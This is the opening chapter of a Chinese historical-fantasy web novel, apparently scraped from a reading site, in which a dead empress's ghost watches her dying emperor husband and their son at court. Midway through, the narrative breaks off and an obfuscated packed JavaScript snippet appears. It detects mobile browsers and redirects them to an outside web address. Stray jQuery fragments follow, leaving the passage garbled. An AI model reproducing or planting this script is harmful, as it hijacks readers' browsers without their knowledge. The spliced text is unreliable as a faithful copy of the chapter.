1. 重生

作品:《朕还是愿聘你为后

    不到十月,京城破天荒的便开始落雪。


    若是往年,百姓们都开始嘀咕起老天爷不让庄稼活命,可眼下却是虔诚无比的朝天祷告:“老天爷,您也觉得皇上壮年病重,冤得很是不是,求您开开恩,让对老百姓好的皇帝多活两年吧。”


    这家家户户声声祷告,似带着些话本形容的愿力,顺着风雪,传递进了巍峨的宫墙。


    变着法钻进宫门缝隙里的谢承凤听得入耳的祈祷,带着些烦躁,对天唾骂:“烦死鬼了!”


    百姓口中的好皇帝司徒鼎,算算年纪都五十一岁了,都老帮菜一个了,死就死呗。


    腹诽着,谢承凤发现今日风雪太大,将她这个鬼轻飘飘的就吹进了乾清宫。


    此刻站满了朝臣的宫殿,却静的像是夜半无人时。个个都面带哀恸,有些甚至都红了眼圈,隐忍着啜泣着。


    这声声哀泣,与大殿中声若洪钟的宣旨声重叠在一起,愈发添了些凝重的压抑之气。但宣旨之音,不因氛围而停滞,依旧铿锵有力字正腔圆:“皇太子文武双全,仁义爱民,必能钦承付托,其即皇帝位,以嗣大统。其务任贤使能,节用爱人,毋骄毋怠,申外文武群臣,其同心辅佐,以共保宗社万万年之业,丧礼悉遵遗制,以日易月,二十七日释服,祭用素羞,毋禁音乐、嫁娶……”


    闻言,谢承凤眼眸闪了闪,孰能生巧的往里飘,抬眸看向帝王身侧,按着遗诏要继位的太子司徒誉。


    一晃眼,很多年没有见过司徒誉了。


    算算。


    现在司徒誉都二十有一了。


    身形挺拔,气质冷峻,至于五官……


    谢承凤凑近,细细打量了又打量,当即埋汰的往后飘。


    这司徒誉是跟他爹司徒鼎越来越相似,几乎都一模一样一个饼印刻出来一般,五官俊俏却是拼凑成古板肃穆老成的棺材脸。


    光看着就觉晦气。


    夹着些火气,谢承凤扭头幽幽的盯着司徒鼎。


    司徒鼎的确老了,岁月都给人眼角留下了肉眼可见的痕迹。旧疾复发更是给人添了病态的苍白。以致于晦气的棺材脸这一刻都有些脆弱让人怜惜的美感。可惜司徒鼎的一双眼睛,似乎一如往年,犀利的能够直射人心,让人光看一眼都头皮发麻。


    被注目的司徒鼎凝聚着力气,依靠在椅背上,竭力坐直了身,幽幽盯着虚空。


    客观而言,他是尸山火海中闯出来的,战场厮杀活下来的马背帝王,对于杀意是格外的敏感。多少回靠着无形之中锤炼出来的机警躲过刺杀暗杀。


    但不知为何,今日这忽然而来的微妙杀气,让他猛然间想起了消失多年的那一股杀气。


    那谢承凤挥着一把镶嵌珠宝的匕首,撂狠话要单挑。


    单挑不行,就耍无赖,


    伸手就挠,指甲刺啦刺啦作响的,挠他一背血;


    还揪头发,一把一把揪,反手揪断人一根,就嚎得惊天地地鬼神。


    但因此人不是刺客,是他媳妇。


    所以得哄。


    不哄着,谢承凤还能表演个铁头撞丹书铁券。


    司徒鼎想着想着,只觉自己对过往的回忆都清晰鲜活了两分。


    “爹?”


    见原本颓然无力,只能垂首交代事项的爹猛然间抬头,太子有些担忧的开口呼喊道:“您……您再等等,已快马加鞭请黄姨进京了。”


    司徒鼎闻言身形僵硬了一瞬,逼着自己愈发抬眸盯着半空,慢慢回应道:“请她进京又没用,朕的身体朕自己有数。再人参吊命,也吊不回来。”


    闻言,太子唇畔一张,都不知该如何开口。


    朝臣们更是面面相觑,互相使眼色,最后看向首辅阁老高山。


    高阁老乃是皇帝的师弟,陪着皇帝从战场厮杀回京,除利弊,兴改革,是皇帝心腹的中的心腹。


    且太子口中的黄姨也是好友。


    黄姨闺名黄莲。


    医女出身,也陪同帝王征战沙场,屡次救助受伤的帝王。后来因情远离京城,游历大周,撰写了《妇科医典》。等帝王推行改革,鼓励女子扬名时,便毅然决然归京参加女子科考,成为大周第一位女状元。


    此后入官场,成为帝王左膀右臂。


    据传曾经帝王都被人真诚之心打动,想要许以后位,就连太子都同意了。且太子外家,谢皇后娘家谢家也同意了,还说愿意收黄莲为义女。


    谁料一夜之间,这喜事又石沉大海,再无声响了。


    而黄莲却是因此终身未嫁。


    一月前帝王操累引发旧疾,黄女官在知太医院诊断之后,便拼了老命要去寻找传说中的能医死人肉白骨的神药——石观音。


    不管结果如何,光论情谊,皇上这大男人的,给人一个名分也使得啊!


    即便皇上对原配谢皇后情根深种,可谢皇后都仙去二十一年了。


    搁民间,再娶都是正常。


    更别提皇家了。


    “皇上,老臣斗胆,还请您下令迎娶黄女官为后。”高山像是知道群臣所思所想,干脆直接出列跪地。


    万万没想到竟然能够从高山嘴里听到这话,司徒鼎只觉自己五脏六腑都能被气到生疼,气到吐血了:“高山,你眼下是打算欺朕要死,显摆你高阁老的能耐?”


    迎着望过来冷戾的眼神,高山一个寒颤,垂首:“臣不敢,只私以为这冲喜一二,或许皇上您能康复呢?且黄女官痴心一片天地可鉴,这……”


    “闭嘴。”司徒鼎抬手按压着自己被气得一起一伏的胸膛,声音冷得跟冰渣子一样:“朕昔年在师父面前发过誓,会照顾好谢承凤。”


    “朕就算驾崩了,也要带着师父亏欠的女儿到师父面前!”


    听得这连声强调的话语,高山神色复杂。


    朝臣们也面面相觑。


    论帝王的幼年的坎坷,的确谢承凤的父亲镇国公助力良多。但……但……但也不至于如此吧?


    但想归想,朝臣们还是跪地恳求帝王息怒:“皇上,您息怒,龙体安康为重。”


    与此同时将朝臣们的轻视、比较、权衡甚至怜悯同情司徒鼎这个帝王神色尽收眼底,谢承凤嘴角勾着自嘲的笑来,瞥着司徒鼎。


    她是真没想到司徒鼎假仁假义伪君子的面孔能够装到死。


    死了都还要这么装!


    真是够恶心的!


    被腹诽的司徒鼎睥睨跪地的朝臣,抬眸带着些审视看着自己既当爹又当娘带大的孩子,带着些急促开口强调:“给朕记住,也不用给朕大操大办后世,把你娘的陵墓再修建一二。昔年国库空虚,眼下朕还是能按着她的喜好,修建修建。”


    说完司徒鼎喑哑着声:“总觉得你娘在盯着朕呢。”


    太子听得这话,唇畔张张合合半晌,愈发不知道自己该说些什么。


    他出生之日,便是母后谢承凤仙逝之日。


    幼年也有朝臣暗中讥笑他生而克母,雄心壮志想要送女入后宫,为皇帝再诞下十个八个皇子。


    然而皇帝却毫不犹豫拒绝了,甚至为民如子,依法处罚的皇帝第一次雷霆震怒,直接诛


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333953|167732||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    杀朝臣三族,还下了明旨宣告终身不再续娶。他这个太子但凡有点损伤,就史书明记朝臣有篡位野心,否则怎么会咒太子害太子生病。


    就这样,他这个帝王独子平平安安活着。


    等他稍微知事了些,以为父母恩恩爱爱,却不料又有些旧闻诉说母后娇横,仗着身世耀武扬威,还曾闹得父皇将他的表妹送出宫;更有隐晦流传母后难产而亡便是帝王跟谢家的默契,等事后再送个乖巧伶俐的谢家女入宫;也有人说……


    有太多太多的说辞让他心中生出了些惶然之心,下意识的想要自己选一个母后。比如父皇倚重的御前女官黄莲——父皇的小师妹,能学医也能学文,第一届女子科考的状元,行事作风爽利,也对父皇爱慕。更为重要的是黄女官从未说过母后一句不好,变着法赞誉母后。且对他这个太子温柔严肃,带着厚望希冀,不像其他妄图进宫的妃嫔各种捧杀。


    因此让他安心让他也心生敬佩,也感觉到一丝的母爱。


    为此,他大着胆子开口去求问父皇对黄女官到底什么态度。


    明明父皇也说欣赏,也说并肩战友,也说辜负深情厚义。


    但一夜之间却又改了口。


    用的说辞便是这一句话——“总觉得你娘在盯着朕呢。”


    十岁的他真以为母后有灵,护着他,虽然有些纳闷但也熄了心思,只私下喊一声干娘。可眼下他都二十一岁了,也算权势在握,所以是真真不明白亲爹是啥心里啊。


    张嘴不信鬼神,又说媳妇灵魂在身边。


    明明对黄姨信任有加,明明知道黄姨想要什么,却只提拔人入阁,迟迟不肯给另外一个身份。


    思忖着,太子喑哑着声回应:“爹您放心,母后的陵寝,孤定然会好好修建,按着母后喜好来建。”


    听得自己疼了三天三夜,豁出去命生下的儿子一口亲昵的“黄姨”,一声客气的“母后”,谢承凤气得双手捏拳,直接锤向司徒鼎的肚子。


    口口声声“你娘”“你娘”的称呼着,却也不会纠正司徒誉“母后”的用词,甚至还默认司徒誉私下喊黄莲一声“干娘”。


    这样的亲疏分明呼喊,对比鲜明,默认这一切发生的狗皇帝怎么还有脸提她爹?


    怎么到死了还要薅着她司徒凤爹娘为国牺牲的名誉,来显摆自己有情有义?


    要不是死后有灵,要不是她活生生在这破宫墙之内当传说中的“地缚灵”,耗了整整二十一年,她谢承凤或许都不会恨。


    可现在她恨意滔天!


    恨不得弑君杀夫!


    也恨老天爷,为什么让她死后有灵,眼睁睁的看着丈夫欣赏他人却要脸,看着儿子私下喊娘,看着朝臣公认无冕皇后,私下再埋汰拉踩她这个早已死了多年的皇后一句:“真好命会投胎。”


    恨意之下,谢承凤只觉自己一拳一拳的充满了力量,甚至她还听见了一声惊雷炸响,带着摄人的威压。


    可这样骤变的天气,让她更加疯狂。


    魂飞魄散也要出了这口气!


    另一边,本就身体带着疼痛的司徒鼎只觉自己肚腹凉飕飕的,愈发有种说不出来的熟悉感在身边。


    甚至有瞬间他都觉自己回光返照了,看见了气呼呼的谢承凤。


    看人模样,便有数。


    依旧一点就炸,脾气火爆。


    没什么脑子。


    能给他惹无数的麻烦,让他既操心朝政,又得变着法哄着,免得谢承凤一个驴脾气倔起来,扛着丹书铁券去砸人。


    丢尽师父师娘的颜面。